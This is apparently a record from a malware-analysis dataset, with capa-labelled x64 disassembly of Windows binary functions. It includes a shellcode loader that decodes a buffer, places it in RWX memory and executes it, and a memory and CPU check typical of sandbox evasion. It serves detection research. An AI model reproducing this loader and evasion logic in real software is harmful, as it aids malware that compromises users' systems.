joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400172e0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rsi
push r13
sub rsp, 0x1d8
mov rax, qword [0x1400522c0]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov qword [r11 - 0x18], rbx
mov r13, r8
mov qword [r11 - 0x20], rbp
mov r8d, 0xc8
mov qword [r11 - 0x28], rdi
mov esi, r9d
mov qword [r11 - 0x30], r12
mov r12d, edx
mov qword [r11 - 0x38], r14
xor edx, edx
mov r14, rcx
mov dword [rsp + 0x20], r9d
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
xor edi, edi
mov ebp, 0x88
cmp r12d, ebp
jl 0x14001744c
mov eax, 0xf0f0f0f1
mov qword [rsp + 0x1a8], r15
mul r12d
lea rbx, [rsp + 0x30]
shr edx, 7
lea rsi, [r14 + 0x80]
imul eax, edx, 0xffffff78
sub rbx, r14
mov r15d, edx
add r12d, eax
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
mov rax, rdi
cmp rcx, rsi
ja 0x14001739a
lea rcx, [rsp + 0xb0]
cmp rcx, r14
jae 0x140017410
mov edx, 2
lea rcx, [rsi - 0x60]
lea eax, [rdx + 0xe]
nop word [rax + rax]
movdqu xmm0, xmmword [rbx + rcx - 0x20]
movdqu xmm1, xmmword [rcx - 0x20]
lea rcx, [rcx + 0x40]
xorps xmm1, xmm0
movdqu xmmword [rbx + rcx - 0x60], xmm1
movdqu xmm0, xmmword [rbx + rcx - 0x50]
movdqu xmm1, xmmword [rcx - 0x50]
xorps xmm1, xmm0
movdqu xmmword [rbx + rcx - 0x50], xmm1
movdqu xmm0, xmmword [rcx + rbx - 0x40]
movdqu xmm1, xmmword [rcx - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rcx + rbx - 0x40], xmm1
movdqu xmm0, xmmword [rcx + rbx - 0x30]
movdqu xmm1, xmmword [rcx - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rcx + rbx - 0x30], xmm1
sub rdx, 1
jne 0x1400173b0
nop word [rax + rax]
mov rcx, qword [rsi + rax*8 - 0x80]
xor qword [rsp + rax*8 + 0x30], rcx
inc rax
cmp rax, 0x11
jl 0x140017410
lea rcx, [rsp + 0x30]
call fcn.140016960
add r14, rbp
add rsi, rbp
sub rbx, rbp
sub r15, 1
jne 0x140017380
mov r15, qword [rsp + 0x1a8]
mov esi, dword [rsp + 0x20]
movsxd rbx, r12d
lea rcx, [rsp + 0x100]
mov r8, rbx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
inc r12d
mov byte [rsp + rbx + 0x100], 1
movsxd rax, r12d
lea rcx, [rsp + 0x100]
sub ebp, r12d
add rcx, rax
movsxd r8, ebp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
or byte [rsp + 0x187], 0x80
mov ecx, 0x80
mov r14, qword [rsp + 0x1b0]
mov r12, qword [rsp + 0x1b8]
mov rbp, qword [rsp + 0x1c8]
mov rbx, qword [rsp + 0x1d0]
nop word [rax + rax]
movdqu xmm0, xmmword [rsp + rdi + 0x30]
movdqu xmm1, xmmword [rsp + rdi + 0x100]
xorps xmm1, xmm0
movdqu xmmword [rsp + rdi + 0x30], xmm1
movdqu xmm0, xmmword [rsp + rdi + 0x40]
movdqu xmm1, xmmword [rsp + rdi + 0x110]
xorps xmm1, xmm0
movdqu xmmword [rsp + rdi + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rdi + 0x50]
movdqu xmm1, xmmword [rsp + rdi + 0x120]
xorps xmm1, xmm0
movdqu xmmword [rsp + rdi + 0x50], xmm1
movdqu xmm0, xmmword [rsp + rdi + 0x60]
movdqu xmm1, xmmword [rsp + rdi + 0x130]
xorps xmm1, xmm0
movdqu xmmword [rsp + rdi + 0x60], xmm1
add rdi, 0x40
cmp rdi, rcx
jl 0x1400174c0
mov rax, qword [rsp + rcx + 0x100]
xor qword [rsp + rcx + 0x30], rax
lea rcx, [rsp + 0x30]
mov rdi, qword [rsp + 0x1c0]
call fcn.140016960
movsxd r8, esi
lea rdx, [rsp + 0x30]
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140035770
add rsp, 0x1d8
pop r13
pop rsi
ret
Function at 0x1400180c0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push rbp
push r12
push r13
push r14
push r15
mov r10, qword [rdx]
mov r14, rdx
mov rcx, qword [rdx + 8]
movabs r13, 0x6666666666666667
sub rcx, r10
mov rax, r13
imul rcx
xor ebp, ebp
mov r15, r9
sar rdx, 3
mov r12, r8
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14001824e
mov qword [rsp + 0x30], rbx
mov r8d, ebp
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x48], rdi
nop word [rax + rax]
lea rcx, [r8 + r8*4]
inc ebp
mov r8d, dword [r10 + rcx*4 + 0xc]
mov r9d, dword [r10 + rcx*4 + 4]
mov edx, dword [r10 + rcx*4 + 8]
mov eax, r9d
mov esi, dword [r10 + rcx*4]
xor rax, rdx
mov r10d, dword [r10 + rcx*4 + 0x10]
mov ebx, edx
mov edi, esi
shl rbx, 0x20
xor rdi, r9
mov r11d, esi
xor r10, r8
shl rdi, 0x20
or rdi, rax
shl r11, 0x20
xor rsi, r8
or r11, r9
and r11, r15
shl rsi, 0x20
or rbx, r8
and rdi, r15
and rbx, r15
mov eax, r8d
xor rax, rdx
movzx ecx, r11b
shl rax, 0x20
and cl, 0x1f
or r10, rax
xor r9, r8
and r10, r15
mov r8d, ebp
mov rax, r11
or rsi, r9
shr rax, 5
and rsi, r15
lea rdx, [r12 + rax*4]
mov eax, 1
shl eax, cl
movzx ecx, bl
or dword [rdx], eax
and cl, 0x1f
mov rax, rbx
shr rax, 5
lea rdx, [r12 + rax*4]
mov eax, 1
shl eax, cl
movzx ecx, dil
or dword [rdx], eax
and cl, 0x1f
mov rax, rdi
shr rax, 5
lea rdx, [r12 + rax*4]
mov eax, 1
shl eax, cl
movzx ecx, r10b
or dword [rdx], eax
and cl, 0x1f
mov rax, r10
shr rax, 5
lea rdx, [r12 + rax*4]
mov eax, 1
shl eax, cl
movzx ecx, sil
or dword [rdx], eax
and cl, 0x1f
mov rax, rsi
shr rax, 5
lea rdx, [r12 + rax*4]
mov eax, 1
shl eax, cl
or dword [rdx], eax
mov rax, r13
mov r10, qword [r14]
mov rcx, qword [r14 + 8]
sub rcx, r10
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp r8, rdx
jb 0x140018120
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140021490
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x18
mov rax, qword [0x1400522c0]
xor rax, rsp
mov qword [rsp + 8], rax
mov r10, r9
mov r9d, edx
mov r11, rcx
test edx, edx
jne 0x1400214c4
xor eax, eax
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.140035770
add rsp, 0x18
ret
mov rcx, qword [r8]
mov qword [rsp], rcx
movzx eax, cl
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [rsp + 1]
xor edx, eax
movzx eax, byte [rsp + 2]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 3]
imul edx, r8d, 0x1000193
xor edx, eax
movzx eax, byte [rsp + 4]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 5]
imul edx, r8d, 0x1000193
xor edx, eax
movzx eax, byte [rsp + 6]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 7]
imul edx, r8d, 0x1000193
xor edx, eax
imul r8d, edx, 0x1000193
xor edx, edx
mov eax, r8d
div r9d
mov rax, qword [r11 + rdx*8]
lea rdx, [r11 + rdx*8]
test rax, rax
je 0x140021564
cmp qword [rax + 8], rcx
je 0x140021564
mov rdx, rax
mov rax, qword [rax]
test rax, rax
jne 0x140021553
test r10, r10
je 0x14002156c
mov dword [r10], r8d
mov rax, rdx
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.140035770
add rsp, 0x18
ret

Function at 0x140021cd0
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x140021e06
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov qword [rsp + 0x10], rbp
mov rdi, r8
lea rbp, [0x14003c3f0]
mov rsi, rdx
mov r11, rcx
xor ebx, ebx
nop dword [rax + rax]
movzx r8d, byte [rbx + rsi]
movzx r10d, byte [r11 + 0x40]
movzx eax, r8b
xor al, byte [r11 + r10]
lea r9, [r11 + r10]
mov byte [r9 + 0x20], al
mov ecx, r8d
mov byte [r9 + 0x10], r8b
movzx eax, byte [r11 + 0x41]
xor rcx, rax
movzx eax, byte [r9 + 0x30]
movzx edx, byte [rcx + rbp]
xor edx, eax
lea eax, [r10 + 1]
and eax, 0xf
mov byte [r9 + 0x30], dl
mov byte [r11 + 0x41], dl
mov byte [r11 + 0x40], al
test al, al
jne 0x140021dea
xor dl, dl
xor r8b, r8b
nop dword [rax]
nop dword [rax + rax]
lea rax, [r11 + 1]
mov r9d, 8
nop word [rax + rax]
movzx ecx, dl
lea rax, [rax + 6]
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 7]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 7], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 6]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 6], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 5]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 5], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 4]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 4], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 3]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 3], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 2]
xor edx, ecx
mov byte [rax - 2], dl
sub r9, 1
jne 0x140021d70
add dl, r8b
inc r8b
cmp r8b, 0x12
jb 0x140021d60
inc rbx
cmp rbx, rdi
jb 0x140021d00
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop rdi
ret
Function at 0x140021e10
Capabilities:
Encode data using xor

Disassembly:
movzx r9d, byte [rcx + 0x40]
lea r11, [0x14003c3f0]
lea r8, [rcx + r9]
movzx eax, dl
mov byte [r8 + 0x10], dl
mov r10, rcx
xor al, byte [r8]
mov byte [r8 + 0x20], al
movzx eax, byte [rcx + 0x41]
movzx edx, dl
xor rdx, rax
movzx eax, byte [r8 + 0x30]
movzx ecx, byte [rdx + r11]
xor ecx, eax
lea eax, [r9 + 1]
and eax, 0xf
mov byte [r8 + 0x30], cl
mov byte [r10 + 0x41], cl
mov byte [r10 + 0x40], al
test al, al
jne 0x140021f00
xor dl, dl
xor r8b, r8b
nop word [rax + rax]
lea rax, [r10 + 1]
mov r9d, 8
nop word [rax + rax]
movzx ecx, dl
lea rax, [rax + 6]
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 7]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 7], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 6]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 6], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 5]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 5], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 4]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 4], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 3]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 3], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 2]
xor edx, ecx
mov byte [rax - 2], dl
sub r9, 1
jne 0x140021e80
add dl, r8b
inc r8b
cmp r8b, 0x12
jb 0x140021e70
ret
Function at 0x140032bf0
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, eax
test eax, eax
jne 0x140032c0e
or eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
xor edx, edx
cmp rcx, rbx
cmovb ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
Function at 0x140034d40
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140034d7a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140034d7f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140034dc8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140046660]
cmp byte [rcx + rax], 0
je 0x140034dc8
dec r8
sub rdx, 1
jne 0x140034dae
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140036220
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003626a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003626a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003626a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003626a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003626a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003626c
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400045a0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400045b0]
mov dword [rax], 1
mov rax, qword [0x1400045c0]
mov dword [rax], 1
mov rax, qword [0x140004550]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004590]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004660]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004640]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004500]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001540
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov dword [rbp - 0x50], 0x40
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x48]
shr rax, 0x14
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0x7ff
ja 0x14000157d
mov eax, 1
jmp 0x1400015a5
lea rax, [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x60]
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 1
ja 0x1400015a0
mov eax, 1
jmp 0x1400015a5
mov eax, 0
add rsp, 0xa0
pop rbp
ret
Function at 0x1400015e7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x180
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
lea rdx, [0x140004050]
mov ecx, 0x29
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov dword [rbp + 0xfc], 0
jmp 0x14000164d
mov eax, dword [rbp + 0xfc]
cdqe
movzx eax, byte [rbp + rax - 0x60]
lea edx, [rax - 0xd]
mov eax, dword [rbp + 0xfc]
cdqe
mov byte [rbp + rax - 0x60], dl
add dword [rbp + 0xfc], 1
mov eax, dword [rbp + 0xfc]
cmp eax, 0x148
jbe 0x14000162a
mov dword [rbp + 0xf8], 0
jmp 0x14000168b
mov eax, dword [rbp + 0xf8]
cdqe
movzx eax, byte [rbp + rax - 0x60]
xor eax, 0xfffffff0
mov edx, eax
mov eax, dword [rbp + 0xf8]
cdqe
mov byte [rbp + rax - 0x60], dl
add dword [rbp + 0xf8], 1
mov eax, dword [rbp + 0xf8]
cmp eax, 0x148
jbe 0x140001666
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x14a
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x14a
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0xf0]
call rax
nop
add rsp, 0x180
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001a50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001ac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008104]
mov rbx, rcx
test esi, esi
jle 0x140001bf0
mov rax, qword [0x140008108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001b0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001af0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001c12
mov rax, qword [0x140008108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bf7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001ba0
add dword [0x140008104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001b18
mov rax, qword [0x140008108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002180
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140008140]
test rbx, rbx
je 0x1400021dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400021d3
test rsi, rsi
je 0x1400021d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002408
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002410
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002420
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000246d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002464
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000246f
add rax, 0x28
cmp rax, r9
jne 0x140002450
xor eax, eax
ret

Function at 0x140002470
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002500
mov rdx, qword [0x140004550]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ee
cmp word [rax + 0x18], 0x20b
jne 0x1400024ee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002500
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024d9
add rbx, 0x28
cmp rbx, rdi
je 0x140002500
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024d0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004550]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002530
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002538
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002530
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000258d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002584
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002530
add rax, 0x28
cmp rax, r9
jne 0x140002570
xor eax, eax
ret

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004550]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400025af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400025b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400025af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004550]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025f0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025f8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025f0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002640
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002637
test rcx, rcx
je 0x1400025f0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002628
xor eax, eax
ret
Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004550]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000266f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002678
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002690
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004550]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026b0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400026b0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002704
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002710
add rdx, 0x28
cmp r9, rdx
jne 0x1400026f0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002720
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004550]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002742
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002750
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002742
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002742
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002742
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400027a5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400027b8
add rdx, 0x28
cmp rdx, r10
jne 0x140002790
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400027c7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027d7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400027ae
test ecx, ecx
jg 0x1400027c0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret